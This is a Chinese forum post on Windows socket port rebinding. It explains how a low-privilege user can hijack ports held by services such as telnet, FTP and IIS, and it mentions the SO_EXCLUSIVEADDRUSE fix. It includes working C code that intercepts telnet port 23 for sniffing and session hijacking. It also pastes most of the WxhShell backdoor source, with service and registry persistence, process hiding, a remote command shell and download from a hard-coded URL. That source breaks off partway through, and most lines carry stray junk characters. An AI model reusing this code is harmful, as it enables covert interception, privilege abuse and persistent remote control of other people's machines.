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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0_}OKn)J  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yaMNt}y-q  
'~VKH}b  
  saddr.sin_family = AF_INET; Z%y>q|:  
sczN0*w&C  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); e ,/I}W  
9s6@AJf  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o=_:g >5  
sHyhR:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -/ ; y*mP  
;3U-ghj  
  这意味着什么?意味着可以进行如下的攻击: ^&zwO7cS  
gYA|JFi  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]{{A/ j\  
y{,HpPp#o  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7cr@;%#  
J_C<Erx[O  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 U[*VNJSp  
=${]j  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  gV$j ]  
`utv@9 _z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 k*(c8/<.d  
swYlp  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 PEac0rSW  
L{jJDd  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V%8?f,  
svCD&~|K#  
  #include +>/ariRr  
  #include 15+>W4v  
  #include t.$3?"60~  
  #include    CnSfGsE>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {a\O7$A\F  
  int main() k"&l o h  
  { mE'y$5ZxY  
  WORD wVersionRequested; 5XySF #  
  DWORD ret; e:fp8 k<  
  WSADATA wsaData; AD#]PSB  
  BOOL val; @wy|l)%  
  SOCKADDR_IN saddr; GL[#XB>n  
  SOCKADDR_IN scaddr; _*7h1[,{f  
  int err; MGze IrV  
  SOCKET s; bO 2>ced  
  SOCKET sc; \ZX5dFu0  
  int caddsize; Z"#eN(v.N  
  HANDLE mt; <f.*=/]W2  
  DWORD tid;   )b`Xc+{>  
  wVersionRequested = MAKEWORD( 2, 2 ); h6<abT@I  
  err = WSAStartup( wVersionRequested, &wsaData ); :,g nOfV=  
  if ( err != 0 ) { |z\5Ik!fF]  
  printf("error!WSAStartup failed!\n"); rt%?K.S/  
  return -1; XK??5'&{  
  } ^!^6 |[  
  saddr.sin_family = AF_INET; sd9$4k"  
   ! Ob  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2_M+akqy^  
 Ec IgX_\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b&[9m\AX`  
  saddr.sin_port = htons(23); :f%FM&b  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7ksh%eV  
  { ,Tc3koi  
  printf("error!socket failed!\n"); c.-h'1  
  return -1; 5I/wP qR[  
  } WA}<Zme3[  
  val = TRUE; Ri4t/H  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /WlK*8C  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #[0:5$-[  
  { W9n0Jv  
  printf("error!setsockopt failed!\n"); ie|I*;#  
  return -1; DTmv2X  
  } :W]?6=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M2HO!btf  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 KiW4>@tY  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \Zc$X^}vN  
*z[G+JX  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) = ms(dr^n  
  { X8~dFjhX  
  ret=GetLastError();  }/~%Ysl  
  printf("error!bind failed!\n"); =OfU#i"c  
  return -1; Ft%HWGE  
  } n,sf$9"  
  listen(s,2); U |I>CDp  
  while(1) Y.` {]rC  
  { A{\#.nC/z  
  caddsize = sizeof(scaddr); 3sG7G:4  
  //接受连接请求 Vp8t8X1`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }L Q9db1  
  if(sc!=INVALID_SOCKET) I)#=#eI* :  
  { 272j$T  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #qkokV6`  
  if(mt==NULL) )E;+C2G  
  { lv -z[  
  printf("Thread Creat Failed!\n"); RC 7|@a  
  break; z_qy >  
  } k. bzh.  
  } &v!=\Fig4  
  CloseHandle(mt); \b {Aj,6,  
  } KrO oxrDcp  
  closesocket(s); &qw7BuF  
  WSACleanup(); vZV+24YWb  
  return 0; &<I*;z6%t  
  }   m-f"EFmP  
  DWORD WINAPI ClientThread(LPVOID lpParam) m87,N~DP  
  { 9pPb]v,6  
  SOCKET ss = (SOCKET)lpParam; }e3M5LI1L  
  SOCKET sc; !NWz  
  unsigned char buf[4096]; e$F]t *)Xa  
  SOCKADDR_IN saddr; IV{,'+hT  
  long num; Rz}?@zh_8  
  DWORD val; gfE<XrG  
  DWORD ret; M99#\0=/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ""Ul6hRgv  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   shW$V93<  
  saddr.sin_family = AF_INET; vW4~\]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \)'nxFKqV  
  saddr.sin_port = htons(23); 5 e:Urv77  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3L/qU^`  
  { /CpUq;^  
  printf("error!socket failed!\n"); a%*l]S0z"  
  return -1; W- wy<<~f  
  }  Q(SVJ  
  val = 100; 9 x WC<i  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v-6" *EP  
  { $q*kD#;mh  
  ret = GetLastError(); NfLvK o8  
  return -1; pT]M]/y/:  
  } +3.Ik,Z}zq  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6cof Zc$  
  { L'{;V\d  
  ret = GetLastError(); 0P`wh=")  
  return -1; T!$7:% D  
  } '^'4C'J  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &d`T~fl|  
  { cT{iMgdI?  
  printf("error!socket connect failed!\n"); MhC74G  
  closesocket(sc); *D`qcv  
  closesocket(ss); >yvP[$]!6  
  return -1; Z:f0>  
  } ;SQ<^"eK  
  while(1) *nNzhcuR  
  { (^GVy=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  t K;E&:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8>x.zO_.c>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g!n1]- 1  
  num = recv(ss,buf,4096,0); PK1j$ &F  
  if(num>0) =/=x"q+X  
  send(sc,buf,num,0); >(z{1'f{  
  else if(num==0) b~06-dk1  
  break; iHjo3_g)n  
  num = recv(sc,buf,4096,0); KsYT3  
  if(num>0) QiWv  
  send(ss,buf,num,0); J#*Uf>5NY  
  else if(num==0) (ohkM`83k  
  break; 3(P^PP8  
  } H%7V)"  
  closesocket(ss); YVVX7hB  
  closesocket(sc); EZ #UdK_  
  return 0 ; 7HPLD&WPt  
  } R7*Jb-;$!  
=f@O~nGm  
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========================================================== (PGmA>BT  
Qpd-uC_Ni  
下边附上一个代码,,WXhSHELL B%6bk.  
3DK^S2\zBm  
========================================================== R+]p -NI^  
6bnAVTL5  
#include "stdafx.h" vVyO}Q`  
.Q"3 [  
#include <stdio.h> 9BI5qHEp  
#include <string.h> EC1q#;:  
#include <windows.h> V$ 38  
#include <winsock2.h> q`1t*<sk  
#include <winsvc.h> <6/XE@"   
#include <urlmon.h> $Br^c< y  
d1e'!y}R5  
#pragma comment (lib, "Ws2_32.lib") UTA0B&aB  
#pragma comment (lib, "urlmon.lib") QXJD' c  
P},S[GaZ  
#define MAX_USER   100 // 最大客户端连接数 Qm`f5-d  
#define BUF_SOCK   200 // sock buffer N(vbo  
#define KEY_BUFF   255 // 输入 buffer >&^w\"'  
2DQ'h}BI  
#define REBOOT     0   // 重启 L:Wy- Z  
#define SHUTDOWN   1   // 关机 ;YZw{|gsh  
SNvK8,"g  
#define DEF_PORT   5000 // 监听端口 %>I!mD"X\  
1\YX|  
#define REG_LEN     16   // 注册表键长度 b]RCe^E1  
#define SVC_LEN     80   // NT服务名长度 \(T; @r  
 >o.u,  
// 从dll定义API ;x^&@G8W`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OD\x1,E)I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?Tuh22J{Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h>mQ; L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DP^{T/G  
3kR- WgVF,  
// wxhshell配置信息 rA=F:N 2  
struct WSCFG { nr&G4t+%Hv  
  int ws_port;         // 监听端口 {h9#JMIA  
  char ws_passstr[REG_LEN]; // 口令 QQ2xNNF[  
  int ws_autoins;       // 安装标记, 1=yes 0=no Dj!J 4uD  
  char ws_regname[REG_LEN]; // 注册表键名 ] {NY;|&I'  
  char ws_svcname[REG_LEN]; // 服务名 :\80*[=;Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }$qy_Esl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $,i:#KT`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )>\Ne~%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A1Q]KS@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -^#Ix;%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !Z=`Wk5  
Eq.c;3  
}; B/5C jHz  
 ~-M7  
// default Wxhshell configuration qsJA|z&6x  
struct WSCFG wscfg={DEF_PORT, $%1[<}<  
    "xuhuanlingzhe", ?R,^prW{  
    1, *EV]8  
    "Wxhshell", |d%Dw^  
    "Wxhshell", 3N]pN<3@  
            "WxhShell Service", ;U20g:K  
    "Wrsky Windows CmdShell Service", XLmbpEh  
    "Please Input Your Password: ", ^kt"n( P5  
  1, 1Eg}qU,:  
  "http://www.wrsky.com/wxhshell.exe", /@wm?ft6Gk  
  "Wxhshell.exe" l,v:[N  
    }; <M$hj6.tn  
"jeJV,%  
// 消息定义模块 &UzZE17R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sWX   
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z&.FJZUP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Np/[MC  
char *msg_ws_ext="\n\rExit."; w e} sC,  
char *msg_ws_end="\n\rQuit."; S>"dUM  
char *msg_ws_boot="\n\rReboot..."; RsV<*s  
char *msg_ws_poff="\n\rShutdown..."; DG:=E/@  
char *msg_ws_down="\n\rSave to "; f ~Fus  
Vm6^'1CY  
char *msg_ws_err="\n\rErr!"; G+%ZN  
char *msg_ws_ok="\n\rOK!"; CLYcg$V  
T.(SBP  
char ExeFile[MAX_PATH]; @ym7hk.  
int nUser = 0; +6;OB@  
HANDLE handles[MAX_USER]; @C!q S7k)  
int OsIsNt; D:F!;n9  
|RjjP 7  
SERVICE_STATUS       serviceStatus; S((8DSt*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZR#UoYjupb  
PkVXn  
// 函数声明 }F3Z~  
int Install(void); :JN3@NsK  
int Uninstall(void); /NkZ;<uxJ  
int DownloadFile(char *sURL, SOCKET wsh); bX6*/N  
int Boot(int flag); K GI]W|T  
void HideProc(void); b#y}VY)?  
int GetOsVer(void); QWxQD'L'  
int Wxhshell(SOCKET wsl); )Tb;N  
void TalkWithClient(void *cs); 8bK}& *z<  
int CmdShell(SOCKET sock); []Fy[G.)H  
int StartFromService(void); ~z'0~3  
int StartWxhshell(LPSTR lpCmdLine); t6"4+:c!>  
t*<c+Ixu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'rF TtT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6 XG+YIG6w  
-[7.VP   
// 数据结构和表定义 p5 [uVRZ  
SERVICE_TABLE_ENTRY DispatchTable[] = -!}1{   
{ 1u` Z?S(  
{wscfg.ws_svcname, NTServiceMain}, % idnm  
{NULL, NULL} @ =,J6  
}; $"UAJ-  
H{}6`;W  
// 自我安装 ]':C~-RV{  
int Install(void) (%r:PcGMEV  
{ u3<])}I'  
  char svExeFile[MAX_PATH]; Z6*RIdD>  
  HKEY key; utTek5/  
  strcpy(svExeFile,ExeFile); Q3KBG8  
stDn{x .  
// 如果是win9x系统,修改注册表设为自启动 ::5-UxGL<2  
if(!OsIsNt) { P#0 _  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t^[{8,N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D{4 Y:O&J  
  RegCloseKey(key); >Y,7>ahyt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O@$hG8:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3gM{lS}h#  
  RegCloseKey(key);  qJK^i.e  
  return 0; 2cDC6rul  
    } Wu}Co  
  } ._R82 gy  
} "d#s|_n,d)  
else { #zQkQvAT9  
rvG qUmSUs  
// 如果是NT以上系统,安装为系统服务 cK258mY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); NMDNls&)k  
if (schSCManager!=0) O]Hg4">f  
{ ?y '.sQ  
  SC_HANDLE schService = CreateService vbFAS:Y:+  
  ( ~ 52  
  schSCManager, dqe_&C@*O  
  wscfg.ws_svcname, ^g0 Ig2'  
  wscfg.ws_svcdisp, E`s_Dr}K  
  SERVICE_ALL_ACCESS, pQ/:*cd+M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yO($KL +  
  SERVICE_AUTO_START, Z5U~g?  
  SERVICE_ERROR_NORMAL, PY2`RZ/@  
  svExeFile, 9w(j2i q  
  NULL, K1hw' AaQ  
  NULL, OYzJE@r^  
  NULL, ZN)/doK  
  NULL, u,pm\  
  NULL {NFeX'5bP  
  ); y, Z#? O  
  if (schService!=0) =#u2Rx%V  
  { h1Lp:@:|  
  CloseServiceHandle(schService); jn7} jWA  
  CloseServiceHandle(schSCManager); $ -y+97  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 646ye Q1  
  strcat(svExeFile,wscfg.ws_svcname); M&K@><6k,k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2iGRw4`_a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yO6i "3  
  RegCloseKey(key); Brl6r8LGi  
  return 0; 8fN0"pymo  
    } d.+vjMI  
  } ZJ 4"QsF  
  CloseServiceHandle(schSCManager); A/QVotcU  
} YO Y+z\Q  
} U %4g:s  
-Z Z$ 1E  
return 1; 06`__$@h  
} ?yz%r`;r  
w(yU\ N  
// 自我卸载 08f~vw"  
int Uninstall(void) 1_t Dp& UO  
{ d;=,/a  
  HKEY key; 9j 8t<5s  
OBl8kH(b>  
if(!OsIsNt) { ZMe|fn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3x'30  
  RegDeleteValue(key,wscfg.ws_regname); X+3)DE\2  
  RegCloseKey(key); e\dT~)c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sV6A& Aw  
  RegDeleteValue(key,wscfg.ws_regname); w0IB8GdF  
  RegCloseKey(key); y(R*Z^c}d,  
  return 0; !G,$:t1-=V  
  } ^Pf&C0xXv  
} Fv: %"P^  
} :}-u`K*  
else { <Z;7=k  
v Y\O=TZT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |x4yPYBL  
if (schSCManager!=0) P=@lkF!\#  
{ w(U/(C7R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D 6]$P%t9  
  if (schService!=0) D7. P  
  { K4yYNlY  
  if(DeleteService(schService)!=0) { =gn}_sKNE  
  CloseServiceHandle(schService); +E:(-$"R  
  CloseServiceHandle(schSCManager); vraU&ze\1  
  return 0; q+z\Y?  
  } ;!}SgzSH}  
  CloseServiceHandle(schService); v;Dcq  
  } Z:hrrq9  
  CloseServiceHandle(schSCManager); e^GW[lT  
} {|gJC>f@  
} 9H}&Ri%  
Z)A+ wM  
return 1; i6CYD  
} TxvPfU?  
WK}+f4tdW[  
// 从指定url下载文件 =QfKDA  
int DownloadFile(char *sURL, SOCKET wsh) aX%Zuyny  
{ =Q}mJs  
  HRESULT hr; h%s  
char seps[]= "/"; h6e$$-_  
char *token; rsv!mY,Em  
char *file; r8%,xA&  
char myURL[MAX_PATH]; C6M/$_l&a  
char myFILE[MAX_PATH]; `.W;ptZ6  
DxgT]F%  
strcpy(myURL,sURL); cQ41NX@I  
  token=strtok(myURL,seps); Uq.~3V+u  
  while(token!=NULL) -9I%   
  { \Sby(l  
    file=token; gJxVU41  
  token=strtok(NULL,seps); c.Y8CD.tqL  
  } ;8T=uCi  
~BZV:Es  
GetCurrentDirectory(MAX_PATH,myFILE); KaE;4gwM  
strcat(myFILE, "\\"); %m) h1/l  
strcat(myFILE, file); )JQQ4D  
  send(wsh,myFILE,strlen(myFILE),0);  {Yk20Zn  
send(wsh,"...",3,0); mv?H]i`N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y7-:l u$9  
  if(hr==S_OK) J\+gd%  
return 0; b6Hk20+B;  
else <M?#3&5A  
return 1; Pu*HZW3l  
8VmN? "5v  
} 1!wEXH(  
&i^NStqu  
// 系统电源模块 yn[ZN-H~  
int Boot(int flag) b DS1'Ce  
{ $F7gH  
  HANDLE hToken; ~&lJT  
  TOKEN_PRIVILEGES tkp; Wky STc  
%`'z^W  
  if(OsIsNt) { )xx/di  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K=?F3tX^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]C6[`WF  
    tkp.PrivilegeCount = 1; idS RWa  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QeJ.o.m{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Qz(T[H5%W  
if(flag==REBOOT) { qetP93N_*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fsc~$^.~\  
  return 0; DIp:S&q2  
} "ue$DyN  
else { #Rx"L&3Ue  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Pd "mb~  
  return 0; !K3cf]2UD  
} (E}cA&{  
  } *.]E+MYi*  
  else { :2)1vQH0L  
if(flag==REBOOT) { 6a?$=y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `ab\i`g9  
  return 0; Y0yO `W4  
} >^f)|0dn)E  
else { .S'fM]_#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]|t.wr3AU  
  return 0; XQJ^)d00h  
} u%1k  
} 8C,utjy  
ObyuhAR  
return 1; LL[#b2CKa  
} EY&C [=  
tP Efz+1N  
// win9x进程隐藏模块 hJo^Wo  
void HideProc(void) VUC <0WV  
{ ^GrkIh0nL  
E'^]zW=9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #O9*$eMw  
  if ( hKernel != NULL ) k\c &2T]W  
  { <%>n@A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7{^4 x#NO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XBQ<  
    FreeLibrary(hKernel); Dyk[u g5  
  } y^QYl ZO  
A]iv)C;]  
return; hHc^ZA  
} y+";  
]fADaw-R  
// 获取操作系统版本 W-!Bl&jF[  
int GetOsVer(void) ;*-@OLT_K  
{ 45)ogg2  
  OSVERSIONINFO winfo; Ku/H=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <duBwkiG  
  GetVersionEx(&winfo); /iTUex7T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >1r[]&8  
  return 1; YNg\"XjJM<  
  else ~1=.?Ho  
  return 0; ?z@v3(b[  
} %O&m#)|  
sUbz)BS#.  
// 客户端句柄模块 :PD`PgQ  
int Wxhshell(SOCKET wsl) `\ef0  
{ 0^&(u:~  
  SOCKET wsh; +% XhQ  
  struct sockaddr_in client; -4vHK!l  
  DWORD myID; (~G5t(+  
"$W|/vD+  
  while(nUser<MAX_USER) q: TT4MUj<  
{ b =K6IX;  
  int nSize=sizeof(client); \]U<hub  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hC|5e|S  
  if(wsh==INVALID_SOCKET) return 1; [%7;f|p?  
NMl ?Y uEv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m@G<ZCMZ  
if(handles[nUser]==0) /o|PA:6J  
  closesocket(wsh); xTJ Sr2f  
else #a(%(k S  
  nUser++; M<A;IOpR+  
  } nIyROhZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lrs0^@.+  
;]gsJ9FK<  
  return 0; :F^$"~(,  
} rnn2u+OG   
{d 1N&  
// 关闭 socket QiTR-M2C!  
void CloseIt(SOCKET wsh) abROFI5.L  
{ pcI&  
closesocket(wsh); K0 O-WJ  
nUser--; ]pOYVf *$  
ExitThread(0); C#U< k0R  
} ?iPZsV  
| V.S.'  
// 客户端请求句柄 j-lSFTo  
void TalkWithClient(void *cs) n|70x5Z?}J  
{ ,DQGv_  
mL:m;>JJ n  
  SOCKET wsh=(SOCKET)cs; ? G$Om  
  char pwd[SVC_LEN]; $ \Q<K@{  
  char cmd[KEY_BUFF]; ku/\16E/k  
char chr[1]; 35Ai;mU'  
int i,j; @Jb@L  
:3KO6/+  
  while (nUser < MAX_USER) { r{t. c?/  
(KT38RhA  
if(wscfg.ws_passstr) { 1MbY7!?PG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R'Kt=.s<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L6|Hgrj-u  
  //ZeroMemory(pwd,KEY_BUFF); = n+q_.A  
      i=0; %`xV'2H  
  while(i<SVC_LEN) { #4P8Rzl$/  
|d,F-9iw  
  // 设置超时 5f;n<EP y  
  fd_set FdRead; #4vV%S   
  struct timeval TimeOut; `Y\gSUhzS  
  FD_ZERO(&FdRead); yGb a  
  FD_SET(wsh,&FdRead); F&=I7i  
  TimeOut.tv_sec=8; ; cGv] A+  
  TimeOut.tv_usec=0; U91 &|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k2EHco0BG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K :1g"  
D:=t*2-Iv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )l`1)Ea~  
  pwd=chr[0]; 't +"k8  
  if(chr[0]==0xd || chr[0]==0xa) { r_b8,I6{]  
  pwd=0; 7JbY}@  
  break; 3p:=xL  
  } Z5((1J9  
  i++; jCU=+b=  
    } \Dn&"YG7  
z%OuI 8"'  
  // 如果是非法用户,关闭 socket R=!kbBK>\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); an3~'g?  
} ;tJWOm  
PeO]lq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <^d!Vzr]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^'m\D;  
TqIAWbb&  
while(1) { 3\;v5D:  
j]r XoV>  
  ZeroMemory(cmd,KEY_BUFF); ?#d6i$  
ov8 ByJc  
      // 自动支持客户端 telnet标准   ? Phk~ jE  
  j=0; 3pB}2]  
  while(j<KEY_BUFF) { 8EOh0gk7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z;#%t.  
  cmd[j]=chr[0]; "[k1D_PZ  
  if(chr[0]==0xa || chr[0]==0xd) { b)N[[sOt  
  cmd[j]=0; xpF](>LC(  
  break; Vzpt(_><  
  } 59.$ULQVMY  
  j++; 85'nXYN{d  
    } BWWq4mdb{  
YQ; cJ$  
  // 下载文件 N1%p"(  
  if(strstr(cmd,"http://")) { $H'8 #:[d_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^7.XGWQ)-  
  if(DownloadFile(cmd,wsh)) 1n_;kaY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2d-{Q 8Pi  
  else cgyp5\*>+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _1ew(x2J  
  } 5UE409Gn'  
  else { 9z:K1  
D}-o+6TI?  
    switch(cmd[0]) { {V}qwm?  
  ndw7v  
  // 帮助 _g[-=y{Bb  
  case '?': { '_V #;DI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +IrZ ;&oy  
    break; >-M ]:=L  
  } #b'N}2'p#V  
  // 安装 %,/lqcFo  
  case 'i': { JBz}|M D  
    if(Install()) -IadHX}]t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TjxA#D)   
    else {Bh("wg$Lk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r$ =qQ7^#  
    break; |m)kN2w  
    } 6gnbkpYi  
  // 卸载 +c--&tBo  
  case 'r': { &R,9+c  
    if(Uninstall()) gw^'{b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T?n -x?e  
    else WWNu:,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kx:jI^  
    break; ?R|th Z  
    } W m . }Zh  
  // 显示 wxhshell 所在路径 Fi4UaJ3K  
  case 'p': { rFey4zzz  
    char svExeFile[MAX_PATH]; " !-Kd'V  
    strcpy(svExeFile,"\n\r"); <C'Z H'p  
      strcat(svExeFile,ExeFile); dQD$K|aUp  
        send(wsh,svExeFile,strlen(svExeFile),0); <*<U!J-i  
    break; z C=a3  
    } id?"PD"%  
  // 重启 (Sv>NQp  
  case 'b': { jZd}O C<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RF?DtNuq  
    if(Boot(REBOOT)) ]]2k}A[-I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \K7t'20  
    else { XN#&NT{t}  
    closesocket(wsh); vN65T$g7  
    ExitThread(0); SJk>Jt=  
    } j+kC-U;  
    break; 6S1m<aH6  
    } +&5' uAe  
  // 关机  \S4SI  
  case 'd': { Xgat-cy'DA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ab.tH$:<  
